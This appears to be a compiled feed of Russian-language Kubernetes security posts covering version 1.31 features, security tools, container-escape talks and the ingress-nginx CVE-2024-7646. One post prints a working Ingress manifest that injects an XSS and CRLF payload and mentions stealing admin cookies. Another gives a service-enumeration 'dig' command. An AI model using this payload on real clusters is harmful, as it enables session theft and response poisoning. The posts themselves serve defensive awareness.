Совсем недавно компания RedHat выпустила 30-ти страничный отчёт "The state of Kubernetes security report 2024 edition". В нём довольно много цифр и статистики, но самое важное из этого:

- Обеспокоенность в мисконфигурациях продолжает снижаться из года в год. Тем не менее мисконфиги – это по прежнему одна из основных и частых проблем в безопасности Kubernetes кластеров (наши аудиты тому подтверждение)

- Уязвимостей с каждым годом становится только больше. Их нужно правильно триажить и приоритезировать

- Большинство респондентов ответило, что за последний год хотя бы раз сталкивались с инцидентами в рантайме

- Большая часть организаций признают ценность DevSecOps и способствуют сотрудничеству между DevOps и командами безопасности

В Лас-Вегасе прошла ежегодная конференция Black Hat USA 2024 и среди множества интересных докладов наш глаз зацепил доклад – Traceeshark - Interactive System Tracing & Runtime Security using eBPF (слайды и видео к сожалению пока недоступны).

В докладе исследователи представили новый инструмент traceeshark, а если быть точнее, то плагин для Wireshark. Traceeshark позволяет импортировать события, генерируемые tracee в Wireshark для дальнейшего анализа – например, kernel-level events и behavioral detections вместе с сетевым трафиком. Также этот плагин имеет возможность записывать Tracee events, также как это сделано с сетевыми пакетами в Wireshark.

Ознакомиться с самой тулзой можно по ссылке тут. Узнать, то как и где её можно применять можно здесь.

На просторах Github мы наткнулись на репозиторий KubernetesCRInjection. Он определенно будет полезен, если вы пишите свой Kubernetes controller и хотите избежать возможных уязвимостей еще на стадии его проектирования.

Когда мы имеем дело с уязвимым Kubernetes controller нужно понимать что, злоумышленники могут контролировать определенные пользовательские ресурсы и внедрять вредоносные полезные нагрузки, которые могут вызвать вредоносное поведение, когда контроллер анализирует, обрабатывает, хранит кастомные ресурсы или генерирует другие связанные ресурсы.

Примеры того как можно классифицировать такие инъекции и реальные примеры таких уязвимостей можно в репозитории.

Сегодня выходит Kubernetes версии 1.31 и это значит самое время посмотреть какие улучшения в аспектах ИБ [1,2] он нам принесет.

1) KEP-24 - Поддержка механизма AppArmor в Kubernetes ушло в Stable
2) KEP-2535 - Обеспечение безопасного доступ к образам с IfNotPresent image pull policy
3) KEP-4193 - Контролирование анонимного доступа к endpoints. На пример, к healthz, livez и readyz анонимно обращаться можно, а к другим нельзя даже при разрешениях RBAC.
4) KEP-4193 - улучшение жизненного цикла Bound Service Account Token
5) KEP-3908 - kube-apiserver может вызывать сторонний external key server для JWT подписи. Теперь есть поддержка сторонних identity providersё и signing services.
6) KEP-4601 - field и label selectors для авторизации. Возможность более гранулированного доступа к ресурсам (но кажется это только для системных компонентов и не влияет на RBAC).
7) KEP-3962 - добавление встроенных Mutating Admission Policies

А все изменения можно посмотреть в 1.31 Enhancements Tracking.

Небольшая тулза kube-audit-viewer будет вам полезна, если вы собираете Kubernetes Audit Log и хотите удобно их просматривать. По сути это простое веб-приложение, которое принимает на вход файл с логами (через параметр -logfile) и рендерит их на странице в браузере. Также присутствует функционал с простым поиском.

P.S – да, может быть не совсем красиво и удобно, но это лучше чем ничего.

В официальном блоге Kubernetes с релизом версии 1.31 вышла статья "Kubernetes 1.31: Moving cgroup v1 Support into Maintenance Mode", указывающая на очень важный эволюционный момент.

С версии 1.31 поддержка cgroup v1 переведена в maintenance mode. Это означает:
1) Feature Freeze: Никаких новых фич не будет добавляться с поддержкой cgroup v1
2) Security Fixes: Критические исправления безопасности будут доставляться до cgroup v1 реализации
3) Best-Effort Bug Fixes: Основные баги могут быть исправлены если это возможно, но некоторые проблемы могут остаться нерешенными.

Так что уже нужно задуматься об апгрейде своих кластеров, хостовой ОС и рантаймов на cgroup v2, если вы еще об этом не позаботились ;)

Когда-то на канале мы рассказывали о фишке, которая может быть полезна при пентесте в Kubernetes окружении – получение адресов всех сервисов в Kubernetes через dig:

dig SRV +short any.svc.cluster.local

Но, начиная с версии CoreDNS 1.9 (вышла около двух лет назад) эту возможность выпилили. А значит в свежих версиях Kubernetes этот трюк точно не будет работать.

P.S – тут может помочь k8spider, про который мы рассказывали в одном из предыдущих постов.

На портале TryHackMe есть раздел/направление "K8s Best Security Practices", который как не трудно догадаться целенаправленно посвящен безопасности Kubernetes (если честно, то совсем малой части). Из тем там покрывается:
- Service Accounts
- RBAC
- API Запросы
- общие моменты про сканирование образов, SecurityContext и безопасность etcd

Также есть небольшая практика, где нужно немного пошаманить с RBAC.

На все про все нужно минут 10 (если не читать теорию) ;)

На конференции OFFZONE 2024 наша команда Luntry совместно с нашим хорошим товарищем Николаем Панченко (Ведущий специалист обеспечения безопасности K8s и Cloud, T-Банк) представит доклад "Побеги из контейнеров: Kubernetes 2024 edition".

Тема побегов из контейнеров в K8s не нова. Ввиду эволюции экосистемы и инструментов IT в кластере появляются новые возможности. Но новые возможности, как известно, порождают новые уязвимости! Это ведет к тому, что в инфраструктуре K8s появляется возможность эксплуатации новых векторов атак для побега из контейнера. При этом старые векторы также стабильно присутствуют и не дают о себе забывать. В рамках доклада мы на примерах рассмотрим векторы для побегов, которые стоит знать, помнить и учитывать в 2024 году.

Данное выступление в некотором роде развитие выступления "Container escapes: Kubernetes edition" c ZeroNights 2021 ;)

HashiCorp Vault для интеграции с Kubernetes использует например такие механизмы как Vault Secrets Operator. Но, к сожалению, Vault не умеет шифровать секреты перед их записью в etcd. Если вы хотели попробовать это у себя, то vault-kubernetes-kms в помощь.

KMS плагин запускается как Static Pod, создает unix socket и получает запросы на шифрование через kubeapi. Затем плагин использует ключ шифрования Vault transit и отправляет их обратно kubeapi, который затем сохраняет зашифрованный ответ в etcd.

Основные фичи:

- поддержка Vault Token, AppRole authentication
- поддержка KMS Plugin v1 & v2
- автоматическое обновление токенов для предотвращения истечения срока действия токенов

Наш хороший товарищ Алексей Федулаев недавно провел замечательный вебинар "Побеги из контейнеров / Docker Escape", который можно посмотреть на его канале и к которому идет сопроводительный репозитарий со всеми инструкциями и исходными кодами!

Среди рассматриваемых побегов, следующие сценарии:
1) с помощью SYS_ADMIN
2) с помощью SYS_PTRACE
3) с помощью SYS_MODULE
4) с помощью DAC_READ_SEARCH
5) с помощью DAC_OVERRIDE
6) с помощью docker soсket внутри контейнера

Также у Алексея есть вебинары "Атаки на CICD", "Безопасность Docker. Ультимативный гайд по харденингу Docker", "Введение в безопасность Docker".

P.S. Про побеги из контейнеров особенно актуально в преддверии нашего доклад на OFFZONE 2024 ;)

P.S.S. Если вы что-то создаете по тематике канала, то не стесняйтесь это присылать!

В официальном блоге Kubernetes вышла заметка "Kubernetes 1.31: Read Only Volumes Based On OCI Artifacts (alpha)".

С версии 1.31 стало возможным монтировать образы как volume (источники данных) с любой информацией в нем. Тоесть можно хранить и распространять любой контент через OCI реджистри, а потом подмонтрировать к основному контейнеру с бизнес логикой. На пример, конфиги, базы знаний, feed уязвимостей, нейронки, LLM модели и т.д. И теперь это можно не пихать в основной образ!

Работа над этим идет в KEP-4639: VolumeSource: OCI Artifact and/or Image.

Что требуется для использования на текущий момент:
1) Kubernetes 1.31
2) Включить ImageVolume feature gate
3) Соответствующий kubelet
4) Container runtime с поддержкой фичи. На пример, CRI-O ≥ v1.31

P.S. Сегодня-завтра будем на конференции OFFZONE 2024. Будем рады пообщаться лично!

Небольшая техническая заметка "How Kubernetes picks which pods to delete during scale-in", которая раскрывает закулисье алгоритма ответственно за удаления Pod когда Deployment скейлится вниз. Все это автор делает очень подробно на базе версии v1.30.0-alpha.0.

Всем хорошей пятницы и выходных!

P.S. Сегодня на OFFZONE в 12:00 на main track рассказываем про "Побеги из контейнеров: Kubernetes 2024 edition" - приходите ;)

Ingress-nginx обзавёлся еще одной уязвимостью – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass. Эта CVE как и предыдущие в ingress-nginx связана с инъекцией в аннотацию, выполнением произвольного кода в контейнере nginx controller и как следствие с получением привилегированного Service Account Token с возможностью читать все секреты в кластере.

Исправления доступны с версии 1.12. В качестве меры митигации также можно рассмотреть запрет на использование определенных аннтоаций в ingress ресурсе с помощью политик Policy Engine.

На нашем сайте в разделе исследований стали доступны слайды с выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024!

Видео будет доступно позже и оно обязательно к просмотру, так как мы с Николаем Панченко (Т-Банк) сделали совсем не тривиальную подачу материала (даже задействовали робота доставщика) =)

И как всегда будем рады ответить на любые вопросы в комментариях к посту.

Сегодня хотим поделиться неплохим ресерчем – "Kubernetes has its “ADCS” – How To Backdoor a Kubernetes in silence and more persistent?".

В нём автор рассказывает о возможных методах пост эксплуатации и закрепления в кластере Kubernetes:

- Trusted Proxy for APIServer
- Subsequent Utilization of ETCD Certificates
- Client Certificates
- JWT Tokens

Отдельно отметим технику с созданием Ingress, а также Service с использованием externalName, чтобы прокинуть kubeapi наружу.

Совсем незаметно с Kubernetes 1.31 в PodSecurityContext появилось новое поле supplementalGroupsPolicy, позволяющее описывать поведение для работы с supplementalGroups.

Это дает возможность решить проблему о которой мы писали тут (обход PolicyEngine и получение доступа к директориям куда нельзя).

В итоге, это решалось в рамках KEP-3619:Fine-grained SupplementalGroups control. А подробнее можно почитать в заметке на официальном блоге.

Возвращаясь к свежей уязвимости в ingress-nginx – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass, о которой мы рассказывали в начале недели, хочется упомянуть еще один интересный вектор, который можно эксплуатировать, благодаря данной CVE.

Все предыдущие уязвимости в ingress-nginx, ровно как и свежая, позволяют исполнять произвольный код или читать произвольные файлы в контейнере ingress controller, что приводит к раскрытию Service Account Token с возможностью чтения секретов во всем кластере.

Новый потенциальный импакт в виде XSS, Сache poisoning attacks, Bypass security headers or inject malicious headers может быть достингут, используя инъекцию в аннотацию nginx.ingress.kubernetes.io/server-snippet и возможность манипулировать символом возврата каретки (\r). PoC выглядит таким образом:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: example-ingress
  annotations:
    nginx.ingress.kubernetes.io/server-snippet: |
      add_header X-Pwn-Header "Pwn\r\n
      HTTP/1.1 200 OK
      Content-Type: text/html
      <script>alert('XSS');</script>
      --------";
      return 200 "PWNed";
spec:
  rules:
    - http:
        paths:
          - pathType: ImplementationSpecific
            path: /foo(/|$)(.*)
            backend:
              service:
                name: test-service
                port:
                  number: 8080

Во время пентеста можно рассмотреть как вариант закрепления и постэкспулатации, с помощью кражи кук от какой-нибудь админской панели.

P.S. – Есть нюанс, для эксплуатации нужно разрешение на использование аннотации snippet. По умолчанию это не разрешено, снять запрет можно изменив значение в Configmap ingress-nginx-controller.

С началом нового учебного года наша команда Luntry запускает новую инициативу в виде помощи учащимся с исследовательскими работами по теме безопасности контейнеризации, Kubernetes.

Если вы еще учитесь, но уже хотите работать с актуальными задачами по контейнеризации для своей курсовой/диплома/магистерской/докторской или же делаете какое-то исследование в этой сфере — мы можем вам помочь!

С учетом ваших текущих знаний, опыта, интересов мы поможем подобрать соответствующую тему (если ее еще нет) и предложим поддержку в формате кураторства!

В общем, решили вносить наш посильный вклад в образование =)

P.S. И не забывайте про гигантскую коллекцию материалов по безопасности контейнеризации у нас на сайте в разделе Исследования!

Интересная тулза sockdump позволяет дампать unix domain socket traffic через bpf.

Есть возможность сохранять пакеты в pcap, чтобы удобно смотреть их через Wireshark.

Сегодняшний пост будет полезен как Red team, так и Blue team. А речь идет про репозитарий "THC's favourite Tips, Tricks & Hacks (Cheat Sheet)" от легендарных ребят The Hacker's Choice (THC).

В данной репе собраны разные приемы и трюки для Linux, что помогают атакующему развить или скрыть свою деятельность. Абсолютное большинство из этого не требует какого-то специализированного ПО, а лишь bash и стандартное, легитимное ПО с понимание принципов работы Linux. Что сразу нас приводит к Living off the Land (LotL) и GTFOBin. Все это упрощает деятельность атакующей стороны, и сильно усложняет деятельность по обнаружению для защищающей стороны.

И это в очередной раз нам говорит о том почему важно использовать в контейнерных окружениях специализированные контейнерные ОС для хоста и минимальные/тонкие образы для самих контейнеров. Это все лишает атакующего пространства для развития атаки, чем очень сильно помогает защищающей стороне.